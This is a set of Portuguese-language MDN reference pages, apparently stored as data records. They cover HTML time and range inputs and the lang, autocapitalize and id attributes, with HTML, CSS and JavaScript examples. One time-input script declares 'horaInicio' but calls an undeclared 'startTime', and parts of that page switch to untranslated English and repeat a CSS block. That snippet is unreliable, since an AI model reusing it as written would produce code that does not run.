rolagem infinita. Assim como o Chrome, ele também adota o formato 24 horas:\n\n![](/pt-BR/docs/Web/HTML/Element/input/time/edge-time.png)\n\n\n|  |  |\n| --- | --- |\n| **Value** | Uma `DOMString` representando um horário, ou vazia. |\n| **Eventos** | `change (en-US)` e `input (en-US)`. |\n| **Atributos comuns suportados** | `autocomplete`,\n `list`,\n `readonly` e\n `step`.\n  |\n| **Atributos IDL** | `value`, `valueAsDate`,\n `valueAsNumber` e `list`.\n  |\n| **Métodos** | `select()`,\n `stepDown()` (en-US)\n e `stepUp()` (en-US).\n  |\n\nValor\n-----\n\nUma `DOMString` contendo o valor do horário inserido no campo. Você pode definir um valor padrão para o campo incluindo um horário válido no atributo `value` ao criar o elemento `<input>`, tipo assim:\n\n\n```html\n<label for=\"hora-cons\">Escolha o horário da consulta: </label>\n<input id=\"hora-cons\" type=\"time\" name=\"hora-cons\" value=\"13:30\" />\n```\n\n\nVocê também pode obter e definir o valor do campo via JavaScript usando a propriedade `HTMLInputElement.value`, por exemplo:\n\n\n```js\nvar campoHora = document.querySelector('input[type=\"time\"]');\ncampoHora.value = \"15:30\";\n```\n\n### Formato do valor do horário\n\nO `value` do campo de `time` está sempre no formato 24 horas: `\"hh:mm\"`, não importa o formato usado na inserção. Esse formato muitas vezes é escolhido baseado no idioma/local do usuário (ou mesmo pelo agente de usuário). Se o horário incluir segundos (veja Usando o atributo step), o formato sempre é `\"hh:mm:ss\"`.\n\nNo próximo exemplo, você pode ver o modo como o valor do campo de horário varia entre o que foi digitado e o que ele retorna.\n\nMas antes, vamos dar uma conferida no HTML. Ele é bem simpless, contando com label (rótulo) e input (campo) do jeito que já vimos antes, com a adição de um elemento `<p>` com um `<span>` que mostra o valor do campo de `time`:\n\n\n```html\n<form>\n  <label for=\"horaInicio\">Hora de início: </label>\n  <input type=\"time\" id=\"horaInicio\" />\n  <p>\n    Valor do campo <code>time</code>:\n    <code> \"<span id=\"value\">n/a</span>\"</code>.\n  </p>\n</form>\n```\n\n\nNo código JavaScript, chamamos um método que monitora o evento `input (en-US)`, que é disparado sempre que o conteúdo de um elemento `<input>` muda. Toda vez que ele dispara, o conteúdo do `<span>` é substituído pelo novo valor do campo de horário.\n\n\n```js\nvar horaInicio = document.getElementById(\"horaInicio\");\nvar valueSpan = document.getElementById(\"value\");\n\nstartTime.addEventListener(\n  \"input\",\n  function () {\n    valueSpan.innerText = startTime.value;\n  },\n  false,\n);\n```\n\n\nQuando um formulário que inclui um campo de `time` é enviado, o valor é codificado antes de ser incluído nos dados do formulário. Nesse caso, o valor correspondente ao campo de horário sempre estará no formato `\"name=hh%3Amm\"`, ou `\"name=hh%3Amm%3ass\"` caso ele conte com segundos (veja Usando o atributo step).\n\nUsando campos de horário\n------------------------\n\nApesar de que, entre os campos dos tipos data e horário, o de horário tenha a maior presença entre os navegadores, ele ainda não tem presença universal. Logo, é provável que você vá precisar fornecer uma maneira alternativa de se inserir data e hora, para que os usuários do Safari (e de outros navegadores sem suporte) ainda consigam inserir horários facilmente.\n\nA seguir, vamos conferir casos de uso básicos e complexos do `<input type=\"time\">`, além de dar conselhos sobre como contornar a questão dos navegadores na seção (see Lidando com navegadores sem suporte).\n\n### Usos básicos de horário\n\nO caso de uso mais simples do `<input type=\"time\">` envolve uma combinação básica dos elementos `<input>` e `<label>` como vemos abaixo:\n\n\n```html\n<form>\n  <label for=\"hora-cons\">Escolha o horário da consulta: </label>\n  <input id=\"hora-cons\" type=\"time\" name=\"hora-cons\" />\n</form>\n```\n\n### Controlando o tamanho do campo\n\nO elemento `<input type=\"time\">` não é compatível com atributos de dimensionamento de formulários tais como `size`, já que horários quase sempre tem o mesmo número de caracteres. Você terá que recorrer ao CSS para ajustar tamanhos.\n\n### Usando o atributo step\n\nVocê pode usar o atributo `step` para variar a quantidade de tempo pulada sempre que o horário for incrementado/decrementado (por exemplo, para fazer com que o horário avançe ou volte em 10 minutos ao clicar nas setinhas ao lado do campo).\n\n> \n> **Note:** Esta propriedade pode se comportar de maneira inesperada em alguns navegadores. Por isso, ela não é 100% confiável.\n> \n> \n> \n\nO atributo recebe um valor igual ao número de segundos que você quer que o valor seja incrementado - o valor padrão é 60 segundos, ou 1 minuto. Se você especificar um valor menor que 60 segundos (1 minuto), o campo `time` vai mostrar uma área de inserção de segundos junto com as de hora e minuto:\n\n\n```html\n<form>\n  <label for=\"hora-cons\">Escolha o horário da consulta: </label>\n  <input id=\"hora-cons\" type=\"time\" name=\"hora-cons\" step=\"2\" />\n</form>\n```\n\n\nNo Chrome e no Opera, que são os únicos navegadores que mostram botões de setas para aumentar/diminuir o valor, clicar nas setinhas muda o valor em dois segundos, mas não afeta as horas e minutos. Para poder usar essa funcionalidade com minutos e horas, você precisa especificar o número de minutos (ou horas) em segundos (por exemplo, 120 para 2 minutos, ou 7200 para 2 horas).\n\nNo Firefox, não são mostrados botões de setas; logo, o valor de `step` não é usado. No entanto, adicionar esse atributo *por si só* já adiciona a área de inserção de segundos ao lado da de minutos.\n\nO valor de `step` parece não ter efeito no Edge.\n\n> \n> **Note:** Ao que parece, usar o atributo `step` faz com que a validação não funcione adequadamente (como podemos ver na seção seguinte).\n> \n> \n> \n\nValidação\n---------\n\nPor padrão, `<input type=\"time\">` não aplica nenhum tipo de validação nos valores inseridos (fora o próprio agente de usuário impedir que sejam inseridos valores diferentes de horários). Isso é útil (considerando que o agente de usuário seja completamente compatível com campos do tipo `time`), mas nem sempre devemos esperar que o valor desse campo seja realmente um horário, já que ele pode ser uma string vazia (`\"\"`), o que é permitido. Também é possível que o valor se pareça com um horário válido, mas que esteja incorreto, como `\"25:05\"`.\n\n### Definindo horários mínimo e máximo\n\nVocê pode usar os atributos `min` e `max` para restringir a faixa de horário válida que o usuário pode escolher. No seguinte exemplo, definimos `12:00` como o horário mínimo e `18:00` como o horário máximo:\n\n\n```html\n<form>\n  <label for=\"hora-cons\"\n >Escolha o horário da consulta (aberto das 12:00 às 18:00):\n  </label>\n  <input id=\"hora-cons\" type=\"time\" name=\"hora-cons\" min=\"12:00\" max=\"18:00\" />\n  <span class=\"validacao\"></span>\n</form>\n```\n\n\nAqui está o CSS usado no exemplo acima. Nele, fazemos uso das propriedades CSS `:valid` e `:invalid` para estilizar o campo com base na validade ou não do conteúdo atual dele. Tivemos que colocar os ícones em um `<span>` ao lado do campo, e não no campo em si, porque no Chrome o conteúdo gerado é colocado denteo do campo do formulário e não pode ser efetivamente mostrado ou estilizado.\n\n\n```css\ndiv {\n  margin-bottom: 10px;\n  position: relative;\n}\n\ninput[type=\"number\"] {\n  width: 100px;\n}\n\ninput + span {\n  padding-right: 30px;\n}\n\ninput:invalid + span:after {\n  position: absolute;\n  content: \"✖\";\n  padding-left: 5px;\n}\n\ninput:valid + span:after {\n  position: absolute;\n  content: \"✓\";\n  padding-left: 5px;\n}\n```\n\n\nO resultado disso é que:\n\n* Apenas horários entre 12:00 e 18:00 serão vistos como válidos; horários fora dessa faixa serão tratados como inválidos.\n* Dependendo do navegador usado, você pode perceber que os horários fora da faixa especificada não podem nem mesmo ser selecionados pelo seletor de hora (ex.: Edge).\n### Tornando campos de horário obrigatórios\n\nAlém do mais, você pode usar o atributo `required` para tornar obrigatória a inserção de um horário. Como resultado, os navegadores compatíves irão mostrar um erro se você tentar enviar um horário fora da proporção adequada ou que esteja em branco.\n\nVamos ver um exemplo. Nele, colocamos um horário mínimo e um máximo, além de tornarmos o campo obrigatório.\n\n\n```html\n<form>\n  <div>\n    <label for=\"hora-cons\"\n >Escolha o horário da consulta (aberto das 12:00 às 18:00):\n    </label>\n    <input\n id=\"hora-cons\"\n type=\"time\"\n name=\"hora-cons\"\n min=\"12:00\"\n max=\"18:00\"\n required />\n    <span class=\"validacao\"></span>\n  </div>\n  <div>\n    <input type=\"submit\" value=\"Enviar formulário\" />\n  </div>\n</form>\n```\n\n\nSe você tentar enviar o formulário com um horário incompleto (ou com um horário fora da faixa válida), o navegador vai mostrar um erro. Experimente brincar com esse exemplo agora:\n\nHere's a screenshot for those of you who aren't using a browser that supports `time` inputs:\n\n![](/pt-BR/docs/Web/HTML/Element/input/time/firefox-validation-message.png)\n\n> \n> **Warning:** **Important**: HTML form validation is *not* a substitute for scripts that ensure that the entered data is in the proper format. It's far too easy for someone to make adjustments to the HTML that allow them to bypass the validation, or to remove it entirely. It's also possible for someone to simply bypass your HTML entirely and submit the data directly to your server. If your server-side code fails to validate the data it receives, disaster could strike when improperly-formatted data is submitted (or data which is too large, of the wrong type, and so forth).\n> \n> \n> \n\nHandling browser support\n------------------------\n\nAs mentioned above, Safari and a few other, less common, browsers don't yet support time inputs natively. In general, otherwise, support is good — especially on mobile platforms, which tend to have very nice user interfaces for specifying a time value. For example, the `time` picker on Chrome for Android looks like this:\n\n![](/pt-BR/docs/Web/HTML/Element/input/time/chrome-android-time.png)\n\nBrowsers that don't support time inputs gracefully degrade to a text input, but this creates problems both in terms of consistency of user interface (the presented control will be different), and data handling.\n\nThe second problem is the more serious; as mentioned previously, `time` inputs' values are always normalized to the format `hh:mm` or `hh:mm:ss`. With a text input, on the other hand, by default the browser has no idea of what format the time should be in, and there multiple ways in which people write times, such as:\n\n* `3.00 pm`\n* `3:00pm`\n* `15:00`\n* `3 o'clock in the afternoon`\n* etc.\n\nOne way around this is to put a `pattern` attribute on your `time` input. Even though the `time` input doesn't use it, the `text` input fallback will. For example, try viewing the following demo in a browser that doesn't support time inputs:\n\n\n```html\n<form>\n  <div>\n    <label for=\"appt-time\"\n >Choose an appointment time (opening hours 12:00 to 18:00):\n    </label>\n    <input\n id=\"appt-time\"\n type=\"time\"\n name=\"appt-time\"\n min=\"12:00\"\n max=\"18:00\"\n required\n pattern=\"[0-9]{2}:[0-9]{2}\" />\n    <span class=\"validity\"></span>\n  </div>\n  <div>\n    <input type=\"submit\" value=\"Submit form\" />\n  </div>\n</form>\n```\n\n\nIf you try submitting it, you'll see that non-supporting browsers now display an error message (and highlight the input as invalid) if your entry doesn't match the pattern `nn:nn`, where `n` is a number from 0 to 9. Of course, this doesn't stop people from entering invalid dates, or incorrectly formatted dates that follow the pattern.\n\nThen there's the problem of the user having no idea exactly what format the time is expected to be in.\n```\n\ndiv {\n  margin-bottom: 10px;\n  position: relative;\n}\n\ninput[type=\"number\"] {\n  width: 100px;\n}\n\ninput + span {\n  padding-right: 30px;\n}\n\ninput:invalid + span:after {\n  position: absolute;\n  content: \"✖\";\n  padding-left: 5px;\n}\n\ninput:valid + span:after {\n  position: absolute;\n  content: \"✓\";\n  padding-left: 5px;\n}\n```\n\n\nThe best way to deal with times in forms in a cross-browser way, for the time being, is to get the user to enter the hours and minutes (and seconds if required) in separate controls (`<select>` elements are popular; see below for an example), or use JavaScript libraries such as the jQuery timepicker plugin.\n\nExamples\n--------\n\nIn this example, we create two sets of interface elements for choosing times: a native picker created with `<input type=\"time\">`, and a set of two `<select>` elements for choosing hours/minutes in older browsers that don't support the native input.\n\nThe HTML looks like so:\n\n\n```html\n<form>\n  <div class=\"nativeTimePicker\">\n    <label for=\"appt-time\"\n >Choose an appointment time (opening hours 12:00 to 18:00):\n    </label>\n    <input\n id=\"appt-time\"\n type=\"time\"\n name=\"appt-time\"\n min=\"12:00\"\n max=\"18:00\"\n required />\n    <span class=\"validity\"></span>\n  </div>\n  <p class=\"fallbackLabel\">\n    Choose an appointment time (opening hours 12:00 to 18:00):\n  </p>\n  <div class=\"fallbackTimePicker\">\n    <div>\n      <span>\n        <label for=\"hour\">Hour:</label>\n        <select id=\"hour\" name=\"hour\"></select>\n      </span>\n      <span>\n        <label for=\"minute\">Minute:</label>\n        <select id=\"minute\" name=\"minute\"></select>\n      </span>\n    </div>\n  </div>\n</form>\n```\n\n\nThe hour and minutes values for their `<select>` elements are dynamically generated.\n```\n\ndiv {\n  margin-bottom: 10px;\n  position: relative;\n}\n\ninput[type=\"number\"] {\n  width: 100px;\n}\n\ninput + span {\n  padding-right: 30px;\n}\n\ninput:invalid + span:after {\n  position: absolute;\n  content: \"✖\";\n  padding-left: 5px;\n}\n\ninput:valid + span:after {\n  position: absolute;\n  content: \"✓\";\n  padding-left: 5px;\n}\n```\n\n\nThe other part of the code that may be of interest is the feature detection code — to detect whether the browser supports `<input type=\"time\">`, we create a new `<input>` element, set its `type` to `time`, then immediately check what its type is set to — non-supporting browsers will return `text`, because the `time` type falls back to type `text`. If `<input type=\"time\">` is not supported, we hide the native picker and show the fallback picker UI (`<select>`s) instead.\n\n\n```js\n// define variables\nvar nativePicker = document.querySelector(\".nativeTimePicker\");\nvar fallbackPicker = document.querySelector(\".fallbackTimePicker\");\nvar fallbackLabel = document.querySelector(\".fallbackLabel\");\n\nvar hourSelect = document.querySelector(\"#hour\");\nvar minuteSelect = document.querySelector(\"#minute\");\n\n// hide fallback initially\nfallbackPicker.style.display = \"none\";\nfallbackLabel.style.display = \"none\";\n\n// test whether a new date input falls back to a text input or not\nvar test = document.createElement(\"input\");\ntest.type = \"time\";\n// if it does, run the code inside the if() {} block\nif (test.type === \"text\") {\n  // hide the native picker and show the fallback\n  nativePicker.style.display = \"none\";\n  fallbackPicker.style.display = \"block\";\n  fallbackLabel.style.display = \"block\";\n\n  // populate the hours and minutes dynamically\n  populateHours();\n  populateMinutes();\n}\n\nfunction populateHours() {\n  // populate the hours <select> with the 6 open hours of the day\n  for (var i = 12; i <= 18; i++) {\n    var option = document.createElement(\"option\");\n    option.textContent = i;\n    hourSelect.appendChild(option);\n  }\n}\n\nfunction populateMinutes() {\n  // populate the minutes <select> with the 60 hours of each minute\n  for (var i = 0; i <= 59; i++) {\n    var option = document.createElement(\"option\");\n    option.textContent = i < 10 ? \"0\" + i : i;\n    minuteSelect.appendChild(option);\n  }\n}\n\n// make it so that if the hour is 18, the minutes value is set to 00\n// — you can't select times past 18:00\nfunction setMinutesToZero() {\n  if (hourSelect.value === \"18\") {\n    minuteSelect.value = \"00\";\n  }\n}\n\nhourSelect.onchange = setMinutesToZero;\nminuteSelect.onchange = setMinutesToZero;\n```\n\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # time-state-(type=time) |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* The generic `<input>` element and the interface used to manipulate it, `HTMLInputElement`\n* Date and Time picker tutorial (en-US)\n* `<input type=\"datetime-local\">` (en-US), `<input type=\"date\">`, `<input type=\"week\">` (en-US), and `<input type=\"month\">` (en-US)"}
{"title":"<input type=\"range\"> - HTML: Linguagem de Marcação de Hipertexto","text":"<input type=\"range\">\n====================\n\n`<input>` elementos do tipo **`\"range\"`** deixam o usuário especificar um valor numérico que não deve ser inferior a um determinado valor, e não mais do que um valor máximo especificado. O valor preciso, no entanto, não é considerado importante. Este geralmente é representado por um controle deslizante ou o mesmo tipo de controle de \"number\" input. Como este tipo de elemento é impreciso, não deve ser usado a menos que o valor exato do controle não seja importante.\n\n\n```html\n<input type=\"range\" />\n```\n\n\nSe o navegador do usuário não suportar o tipo `\"range\"`, este será tratado como um input do tipo `\"text\"` (en-US).\n\n|  |  |\n| --- | --- |\n| **Value** | \n Uma `DOMString` contendo a a string que representa\n o valor numérico escolhido; use\n `valueAsNumber`\n para pegar o valor como um `Number`.\n  |\n| **Events** | `change (en-US)` e `input (en-US)` |\n| **Supported Common Attributes** | `autocomplete`,\n `list`,\n `max`,\n `min`, e\n `step` |\n| **IDL attributes** | `list`, `value`, e `valueAsNumber` |\n| **Methods** | `stepDown()` (en-US)\n e `stepUp()` (en-US) |\n\nValue\n-----\n\nO atributo `value` contém uma `DOMString` que conte uma representação dos números selecionados em string. O valor nunca é uma string vazia (`\"\"`). O valor padrão está entre o mínimo e o máximo especificados, a menos que o valor máximo seja menor que o mínimo, caso em que o padrão é definido como o atributo de valor mínimo. O algoritmo que determina o valor padrão é:\n\n\n```js\ndefaultValue =\n  rangeElem.max < rangeElem.min\n    ? rangeElem.min\n    : rangeElem.min + (rangeElem.max - rangeElem.min) / 2;\n```\n\n\nSe for feito uma tentativa para definir como máximo um valor inferior ao mínimo, então este é definido como mínimo. Da mesma forma, uma tentativa de definir um valor maior do que o máximo sendo configurado então para o máximo.\n\nUsando range inputs\n-------------------\n\nEquanto o tipo `\"number\"` permite aos usuários inserir um número com restrições opcionais forçando-o a digitar um valor entre o valor mínimo e máximo, ele requer que digitem um valor específico. A input de tipo permite ao usuário que coloque um valor sem que preocupe ou precise saber o valor numério específico.\n\nAlguns exemplos de situações que este tipo são comumente usados são:\n\n* Controle de audio como volume, equilíbrio e ou controle de filtros.\n* Controle de configuração de cores como canais de cores, transparência, brilho, etc.\n* Controle de configuração de jogos, como dificuldade, distância de visibilidade, tamanho do mundo, entre outros.\n* Comprimento de senha gerada por gerenciadores de senha.\n\nComo regra geral, se o usuário tiver maior probabilidade de se interessar por porcentagens entre distâncias mínimas e máximas do que por um número real, este tipo de input é um forte candidato. Por exemplo, no caso de um controle de volume estéreo, \"colocar o controlador no meio\" em vez de \"definir o volume como 0.5\".\n\n### Especificando o mínimo e o máximo\n\nPor padrão, o mínimo é 0 e o máximo é 100. Se não é o que você precisa, voce pode facilmente especificar limites diferentes alterando os valores dos atributos `min` e/ou `max`. Este pode ser um valor inteiro.\n\nPor exemplo, para pedir ao usuário um valor entre -10 e 10, você pode usar:\n\n\n```html\n<input type=\"range\" min=\"-10\" max=\"10\" />\n```\n\n### Definindo a escala entre valores\n\nPor padrão, a escala entre o mínimo e o máximo é 1, significando que este sempre é um valor inteiro. você pode alterar o atributo `step` para controlar esta escala. Por exemplo, se você precisa de um valor de duas casas decimais entre os valores 5 e 10, voce deve definir o valor de `step` para 0.01:\n\n\n```html\n<input type=\"range\" min=\"5\" max=\"10\" step=\"0.01\" />\n```\n\n\nSe você deseja aceitar um valor independente das casas decimais, voce pode especificar o valor `\"any\"` para o atributo `step`:\n\n\n```html\n<input type=\"range\" min=\"0\" max=\"3.14\" step=\"any\" />\n```\n\n\nEste exemplo permite ao usuário selecionar qualquer valor entre 0 e π sem qualquer restrição na parte fracionada do valor selecionado.\n\n### Adicionando marcas de mapeamento e etiquetas\n\nAs especificações do HTML oferece aos navegadores uma certa flexibilidade sobre como apresentar o controle deslizante. Em parte alguma esta flexibilidade é mais aparente do que no mapeamento de marcas e, menos ainda, na etiqueta. A especificação descreve como adicionar pontos personalizados ao controle usando o atributo `list` e o elemento `<datalist>` , mas não tem requisitos nem padronizações para marcações ou mesmo pontos ao longo do controle deslizante.\n\n#### Modelo de controle do range\n\nUma vez que os navegadores têm essa flexibilidade e, até à data, nenhum suporte a todos os recursos que o HTML define para controles de alcance, aqui estão alguns modelos para mostrar o que você pode obter no MacOS em um navegador que os suporta.\n\n##### Um controle sem o atributo\n\nIsto é o que você obtem se não especificar o atributo `list` , ou se o navegador não oferece suporte.\n\n| HTML | Screenshot |\n| --- | --- |\n| \n```html\n<input type=\"range\">\n```\n | Screenshot of a plain slider control on macOS |\n\n##### Um controle com o Atributo\n\nEste controle está usando um atributo `list` especificando o ID de uma `<datalist>` que define uma serie de marcações no controle. Há 11 deles, de modo que há um 0% bem como a adição de 10% em cada próximo. Cada ponto representa usando um elemento `<option>` com propriedade `value` definido para o valor do intervalo no qual uma marca deve ser desenhada.\n\n\n| HTML | Screenshot |\n| --- | --- |\n| \n```html\n<input type=\"range\" list=\"tickmarks\">\n<datalist id=\"tickmarks\">\n<option value=\"0\">\n<option value=\"10\">\n<option value=\"20\">\n<option value=\"30\">\n<option value=\"40\">\n<option value=\"50\">\n<option value=\"60\">\n<option value=\"70\">\n<option value=\"80\">\n<option value=\"90\">\n<option value=\"100\">\n</datalist>\n```\n\n | Screenshot of a plain slider control on macOS |\n\n##### Um controle deslizante com marcas e rótulos\n\nVocê pode adicionar rótulos para seu controle usando o atributo `label` para o elemento `<option>` correspondente às marcas de marcação para as quais você deseja ter rótulos.\n\n\n| HTML | Screenshot |\n| --- | --- |\n| \n```html\n<input type=\"range\" list=\"tickmarks\">\n<datalist id=\"tickmarks\">\n<option value=\"0\" label=\"0%\">\n<option value=\"10\">\n<option value=\"20\">\n<option value=\"30\">\n<option value=\"40\">\n<option value=\"50\" label=\"50%\">\n<option value=\"60\">\n<option value=\"70\">\n<option value=\"80\">\n<option value=\"90\">\n<option value=\"100\" label=\"100%\">\n</datalist>\n```\n\n | Screenshot of a plain slider control on macOS |\n\n**Nota:** Atualmente nenhum navegador suporta estes recursos totalmente. Firefox não suporta pontos e rótulos, por exemplo, enquanto o Chrome suporta as marcações de pontos, porém não suporta as etiquetas.\n\n### Change the orientation\n\nConsiderando este controle:\n\n\n```html\n<input type=\"range\" id=\"volume\" min=\"0\" max=\"11\" value=\"7\" step=\"1\" />\n```\n\n\n| Screenshot | Live sample |\n| --- | --- |\n|  |  |\n\nEsse controle é horizontal (pelo menos na maioria, senão em todos os principais navegadores, outros podem variar). Fazê-lo vertical é tão simples como adicionar CSS para alterar as dimensões do controle para que ele seja mais alto que o largo, como este:\n\n#### CSS\n\n\n```css\n#volume {\n  height: 150px;\n  width: 50px;\n}\n```\n\n\n#### HTML\n\n\n```html\n<input type=\"range\" id=\"volume\" min=\"0\" max=\"11\" value=\"7\" step=\"1\" />\n```\n\n\n#### Resultado\n\n| Screenshot | Live sample |\n| --- | --- |\n|  |  |\n\n**Atualmente, nenhum dos principais navegadores suporta a criação de entradas de alcance vertical usando o CSS desta maneira, mesmo que seja a maneira como a especificação recomenda que eles o façam.**\n\nAs especificações HTML recomenda que os navegadores mudem automaticamente para um controle vertical quando a largura for menor que à altura. Infortuniamente nenhum dos principais navegadores atualmente oferece tal suporte. No entanto você pode cria-lo pelo seu lado. A maneira mais fácil para isto é usar o CSS: aplicando um: `transform` para rotacionar o elemento tornando-o vertical. Vamos dar uma olhada:\n\n#### HTML\n\nNo HTML o elemento `<input>` precisa ser envolto em uma `<div>` para nos permitir corrigir o layout após a transformação ser executada, (uma vez que as transformações não afetam automaticamente o layout da página):\n\n\n```html\n<div class=\"slider-wrapper\">\n  <input type=\"range\" min=\"0\" max=\"11\" value=\"7\" step=\"1\" />\n</div>\n```\n\n\n#### CSS\n\nAgora precisamos de algum CSS. Primeiro é o CSS para o próprio wrapper; isso especifica o modo de exibição e o tamanho que queremos para que a página seja definida corretamente; em essência, está reservando uma área da página para que o controle deslizante gire e se encaixe no espaço reservado sem bagunçar outros elementos.\n\n\n```css\n.slider-wrapper {\n  display: inline-block;\n  width: 20px;\n  height: 150px;\n  padding: 0;\n}\n```\n\n\nEm seguida, vem a informação de estilo para o elemento `<input>` dentro do espaço reservado:\n\n\n```css\n.slider-wrapper input {\n  width: 150px;\n  height: 20px;\n  margin: 0;\n  transform-origin: 75px 75px;\n  transform: rotate(-90deg);\n}\n```\n\n\nO tamanho do controle está configurado para ter 150 pixels de comprimento por 20 pixels de altura . As margins estão configuradas como 0 e a `transform-origin` é deslocada para o centro do espaço de giro do controle deslizante; uma vez que o controle deslizante está configurado para ter 150 pixels de largura, gira através de uma caixa que é de 150 pixels em cada lado. Compensando a origem por 75px em cada eixo significa que vamos girar em torno do centro desse espaço. Finalmente, giramos no sentido anti-horário em 90 °. O resultado: uma entrada de intervalo que é girada para que o valor máximo esteja na parte superior e o valor mínimo esteja na parte inferior.\n\n#### Result\n\n| Screenshot | Live sample |\n| --- | --- |\n|  |  |\n\nValidação\n---------\n\nNão há padrões de validação disponível, no entanto, as seguintes formas de validações são realizadas automaticamente:\n\n* Se `value` estiver definido para algo que não possa ser convertido em um número flutuante válido, a validação falhará porque a entrada está sofrendo de uma entrada incorreta.\n* O valor não será inferior há `min`. O valor padrão é 0.\n* O valor não pode ser maior que `max`. O valor padrão é 100.\n* O valor será um multiplo de `step`. O valor padrão é 1.\nExemplos\n--------\n\nAlém dos exemplos variados acima, você encontrará as entradas de alcance demonstradas nestes artigos:\n\n* Controlling multiple parameters with ConstantSourceNode (en-US)\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # range-state-(type=range) |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* HTML Forms (en-US)\n* `<input>` and the `HTMLInputElement` interface it's based upon\n* `<input type=\"number\">` (en-US)"}
{"title":"lang - HTML: Linguagem de Marcação de Hipertexto","text":"lang\n====\n\nO atributo global **`lang`** ajuda a definir o idioma de um elemento: a língua em que elementos não-editáveis são escritos, ou a língua em que elementos editáveis devem ser escritos pelo usuário. O atributo contém uma uma única \"tag de idioma\" em um formato definido em *Tags para identificar linguagens(BCP47)*.\n\nExperimente\n-----------\n\nSe o valor do atributo é uma *string vazia* (`lang=\"\"`), o idioma é definido como *unknown (desconhecido)*; se a tag de idioma não é válida conforme o BCP47, ela é definida como *invalid (invalida)*.\n\n> \n> **Note:** ## Sintaxe da tag de idiomaA sintaxe completa do BCP47 é profunda o suficente para caracterizar dialetos de linguagem extremamente expecíficos, mas a maioria dos usos são bem mais simples.Uma tag de idioma é feita de *subtags de idioma* separadas por hífen, onde cada subtag indica uma certa propriedade da língua. As três subtags mais comuns são:- Subtag de idioma - : Necessária. Um código de 2 ou 3 caracteres que define o idioma base, tipicamente escrita em letras minúsculas. Por exemplo, o código para Inglês é `en` e o código para Português é `pt`.\n> \n> \n> \n> Subtag de script\n> \n> Opcional. Essa subtag define o sistema de escrita usado para a linguagem, e sempre tem 4 caracteres, com a primeira letra maiúscula. Por exemplo, Francês em Braile é `fr-Brai` e `ja-Kana` é Japonês escrito no alfabeto Katakana. Se a língua é escrita em uma maneira tipicamente comum, como Inglês no alfabeto Latino, não é necessário o uso da subtag.\n> \n> \n> \n> Subtag de região\n> \n> Opcional. Essa subtag define um dialeto do idioma base em uma localização particular e tem um código de duas letras maiúsculas referentes ao país, ou um código de três números referentes à uma área fora do país. Por exemplo, `es-ES` é para espanhol falado na Espanha, e `es-013` é o espanhol falado na America Central. \"Espanhol Internacional\" seria `es`.A subtag de script precede a região da subtag quando ambos estão presentes— `ru-Cyrl-BY` é Russo, escrito no alfabeto Cyrillic, falado em Belarus.Para encontrar os códigos corretos para uma subtag de idioma, acesse Language Subtag Lookup.\n> \n> \n> \n> \n> \n\nMesmo que o atributo **lang** esteja bem definido ele ainda pode ser ignorado, pois o atributo **xml:lang** tem prioridade.\n\nPara as pseudo-classes CSS `:lang` (en-US), dois nomes de idiomas inválidos são diferentes se seus nomes forem diferentes. Por tanto, enquanto `:lang(es)` corresponde a ambos `lang=\"es-ES\"` e `lang=\"es-419\"`, `:lang(xyzzy)` não corresponde a `lang=\"xyzzy-Zorp!\"`.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # attr-lang |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Todos atributos globais."}
{"title":"autocapitalize - HTML: Linguagem de Marcação de Hipertexto","text":"autocapitalize\n==============\n\nO atributo global **`autocapitalize`** é um atributo enumerado que controla quando e como entradas de texto são automaticamente capitalizadas confome são escritas/editadas pelo usuário. O atributo deve receber um dos seguintes valores:\n\n* `off` ou `none`: Nenhuma capitalização é aplicada (por padrão as letras serão minúsculas)\n* `on` ou `sentences`: A primeira letra de cada sentença será por padrão uma letra maíuscula; todas as demais letras serão por padrão minúsculas.\n* `words`: A letra inicial de cada palavra serão por padrão maiúsculas; todas as demais letras serão por padrão minúsculas.\n* `characters`: Todas as letras deverão ser maiúsculas por padrão.\n\nO atributo `autocapitalize` não afeta comportamentos quando digitando em um teclado físico. Ao invés disso, afeta o comportamento de outros mecanismos de entrada, tais quais teclados virtuais em dispositivos móveis e entradas por voz. O comportamento de tais mecanismos é que frequentemente auxiliam usuários aos capitalizar automaticamente a primeira letra de sentenças. O atributo `autocapitalize` permite a autores sobrescreverem esse comportamento por elemento.\n\nO atributo `autocapitalize` nunca ativa a autocapitalização para um elemento `<input>` com um atributo `type` cujo valor seja `url`, `email`, ou `password`.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # attr-autocapitalize |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"id - HTML: Linguagem de Marcação de Hipertexto","text":"id\n==\n\nO atributo global **id** define um identificador exclusivo (ID) que deve ser único por todo o documento. Seu objetivo é identificar o elemento ao navegar por âncoras (usando um identificador de fragmento), quando utilizar scripts ou estilizando (com CSS).\nO valor deste atributo é uma string opaca: isso significa que os desenvolvedores não devem utilizá-lo para transmitir nenhuma informação. Significados específicos como, por exemplo, significado semântico não devem ser provenientes desta string.\n\nO valor deste atributo não deve conter lacunas (espaços, tabulações etc.). Navegadores tratam IDs inadequadas que contenham lacunas como se as lacunas fossem parte do ID. Em contraste com o atributo **class**, que permite múltiplos valores separados por espaço, os elementos podem ter somente um único ID.\n\n**Nota:** Utilizar caracteres exceto letras e dígitos ASCII, `'_'`, `'-'` e `'.'` pode causar problemas de compatibilidade, já que eles não eram permitidos no HTML 4. Embora esta restrição fora suspensa no HTML 5, um ID deve iniciar com uma letra para fins de compatibilidade.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # global-attributes:the-id-attribute-2 |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Todos os atributos globais.\n* `Element.id` para explorar este atributo."}
